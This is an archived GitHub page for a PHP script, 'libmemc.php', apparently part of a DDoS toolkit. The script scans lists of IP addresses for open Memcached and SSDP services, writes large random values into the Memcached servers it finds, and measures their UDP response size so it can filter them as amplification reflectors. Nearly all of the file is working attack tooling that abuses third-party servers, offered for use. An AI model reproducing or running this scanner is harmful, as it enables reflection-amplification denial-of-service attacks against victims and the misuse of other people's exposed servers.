This repository has been archived by the owner on Aug 30, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 3
/
libmemc.php
187 lines (176 loc) · 5.38 KB
/
libmemc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
<?php
//我要如何运行?
//php 这个ssdp过滤脚本的名称 输入的列表 输出到哪里 验证包根据放大倍数 线程
include __DIR__ . "/config.php";
set_error_handler(function ($errno, $errstr, $errfile, $errline, array $errcontext) {
// error was suppressed with the @-operator
if (0 === error_reporting()) {
return false;
}
throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
});
function puts($data) {
file_put_contents("./log", $data . PHP_EOL, FILE_APPEND);
}
function MemcachedTester($host, $timeout = 1) {
$m = new Memcache;
try {
$result = @$m->connect($host, 11211, $timeout) OR die();
$puts = "[MemcTester] $host : connected, ";
if ($stats = $m->getStats()) {
$puts .= "success stats query, ";
}
$max = 1000000;
$inject = random_bytes($max);
$keys_seted = FALSE;
while ($max > 1000) {
if ($m->set(md5($host), $inject) == TRUE) {
$keys_seted = TRUE;
$puts .= "Key MaxSize: $max; ";
break;
} else {
$inject = substr($inject, 1);
$max = $max * 0.9;
$puts .= "Size Over, try $max";
}
}
if ($max <= 1000) {
die();
}
$result = MemcachedUDPGet($host, $timeout, md5($host));
if ($result) {
puts($puts);
if ($keys_seted) {
$m->delete(md5($host));
}
return strlen($result);
}
} catch (Exception $e) {
puts($puts);
die();
}
}
function MemcachedUDPGet($host, $timeout = 1, $key) {
return mc_udprelay($host, $timeout, "get $key");
}
function LengthMemcachedUDPStat($host, $timeout = 1) {
$length = strlen(mc_udprelay($host, $timeout, "stats"));
if ($length > 0) {
puts("[UDP Relay] $host Response length : $length");
}
return $length;
}
function mc_udprelay($host, $timeout = 1, $data) {
$data = "\x00\x00\x00\x00\x00\x01\x00\x00$data\r\n";
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
if (socket_connect($socket, $host, 11211)) {
socket_send($socket, $data, strLen($data), 0);
$buf = "";
$from = "";
$port = 0;
$endtime = microtime(TRUE) + $timeout;
while (microtime(true) <= $endtime) {
try {
$buf .= socket_read($socket, 4096);
} catch (Exception $e) {
break;
}
}
socket_close($socket);
return $buf;
} else {
puts("$host : failed to connect");
}
}
function MSEARCH($host, $timeout = 1) {
$data = "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: \"ssdp:discover\"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n";
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
socket_connect($socket, $host, 1900);
socket_send($socket, $data, strLen($data), 0);
$buf = "";
$from = "";
$port = 0;
@socket_recvfrom($socket, $buf, 1000, 0, $from, $port);
socket_close($socket);
return strlen($buf);
}
function start_threading($input, $output, $responselength, $maxthreads) {
$self = basename($_SERVER["SCRIPT_FILENAME"], '.php') . '.php';
$usage = "Usage: php {$self} [Input.txt] [Output.txt] [Response Size] [Threads]";
$error = "";
if (strlen($input) == 0) {
$error = "Error: Invalid Filename!";
}
if (strlen($output) == 0) {
$error .= "\nError: Invalid Filename!";
}
if (is_numeric($responselength) == false) {
$error .= "\nError: Invalid Response Length!";
}
if ($maxthreads < 1 || $maxthreads > 1000) {
$error .= "\nError: Invalid Threads!";
}
if (strlen($error) >= 1) {
die($error . "\n" . $usage . "\n");
}
print("\nSSDP Filter\t//Memcached Filter\nCoded by Layer4\n\n");
print("nope.I am the memcached filter. faq -- arily\n");
print("This code got a serious problem on calculating amp rate\nI don't know if it's my code's fault or the php's falut\nAlso distortion of the result will causing by the slow internet connection, slow CPU speed or the slow iface.\nIncrease timeout limit will kind of decreasing the distortion\n");
$threads = 0;
$threadarr = array();
$j = 0;
$tries = 0;
$handle = fopen($input, "r");
while (!feof($handle)) {
$line = fgets($handle, 4096);
if (preg_match('/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/', $line, $match)) {
//正则匹配IP
if (filter_var($match[0], FILTER_VALIDATE_IP)) {
//PHP带的合法IP过滤器
$ip = $match[0];
JMP:
if ($threads < $maxthreads) {
if (floor(++$tries / 100) * 100 == $tries) {
echo "$tries tests" . PHP_EOL;
}
$pipe[$j] = popen("php {$self} {$ip} {$output} {$responselength} THREAD", 'w'); //('php' . ' ' . $self . ' ' . $ip . ' ' . $output . ' ' . $responselength . ' ' . 'THREAD')
$threadarr[] = $j;
$j++; //$j = $j + 1;
$threads++; //$threads = $threads + 1;
} else {
usleep(50000);
foreach ($threadarr as $index) {
pclose($pipe[$index]);
$threads--; //$threads = $threads - 1;
}
$j = 0;
unset($threadarr);
goto JMP;
}
}
}
}
fclose($handle);
}
function threadfound(array $argv) {
$thread = false;
foreach ($argv as $arg) {
if ($arg == 'THREAD') {
$thread = true;
break;
}
}
return $thread;
}
function addentry($file, $entry) {
if (!file_exists($file)) {
touch($file);
chmod($file, 0777);
}
$fh = fopen($file, 'a') or die("Can't open file: " . $file);
fwrite($fh, $entry . PHP_EOL);
fclose($fh);
}
?>